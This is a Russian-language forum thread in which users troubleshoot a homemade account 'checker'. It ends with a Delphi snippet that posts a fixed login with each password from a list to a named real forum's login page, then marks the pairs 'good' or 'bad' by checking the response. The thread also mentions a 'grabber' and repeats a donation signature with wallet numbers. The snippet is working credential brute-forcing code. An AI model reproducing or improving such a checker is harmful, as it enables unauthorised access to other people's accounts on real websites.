[Ссылки могут видеть только зарегистрированные пользователи. ] вот сайт =_= у ребят выше находит,а у тебя нет...видимо ты "особая персона" что у тебя не находит.
PS код с сайтом я выкладывал ниже
[Ссылки могут видеть только зарегистрированные пользователи. ] вот сайт =_= у ребят выше находит,а у тебя нет...видимо ты "особая персона" что у тебя не находит.
PS код с сайтом я выкладывал ниже
ты сначала посмотри в ту ли тему написал, помощь с граббером в соседней теме
Русские символы не читаются в чистом виде. Декодируй исходный код или кодируй проверочную строку в UTF-8.
________________
Принимаются пожертвования любых размеров в фонд поддержки начинающих программистов
Кошельки: WMZ - Z276844220882; WMR - R231028582939; WMU - U394136909210; ЯД - 410011494605270.
А и еще вопрос, в снифере в Пост запросе есть строка (Status Line) "HTTP/1.0 200 Simple Response" , ее можно использовать как проверочную строку ?
Что? 0_о
________________
Принимаются пожертвования любых размеров в фонд поддержки начинающих программистов
Кошельки: WMZ - Z276844220882; WMR - R231028582939; WMU - U394136909210; ЯД - 410011494605270.
может я конечно ерись сказал, но в одном чекере в Бед он например записывает акки в мемо так:
Очень это смахивает на ошибку...
________________
Принимаются пожертвования любых размеров в фонд поддержки начинающих программистов
Кошельки: WMZ - Z276844220882; WMR - R231028582939; WMU - U394136909210; ЯД - 410011494605270.
Принимаются пожертвования любых размеров в фонд поддержки начинающих программистов
Кошельки: WMZ - Z276844220882; WMR - R231028582939; WMU - U394136909210; ЯД - 410011494605270.
блин все равно валидный акка в бед кидает
вот отрывок.
Цитата:
var
i,y,s:Integer;
info,p:TStringList;
begin
info:=TStringList.Create;
p:=TStringList.Create;
if rb1.Checked then
for i:=0 to Mmo1.Lines.Count-1 do
begin
info.add('login='+edt1.Text);
info.add('password='+Mmo1.Lines.Strings[i]);
p.Text:=idhtp1.Post('http://www.lostwings.ru/forum/ucp.php?mode=login', info);
if pos('/index.php?action=logout">', p.text)>0 then
begin
mmo2.lines.Add(edt1.Text+';'+Mmo1.Lines.Strings[i]+ ' - ' + 'good');
end
else
begin
mmo2.lines.Add(edt1.Text+';'+Mmo1.Lines.Strings[i]+ ' - ' + 'bad');
end;
end;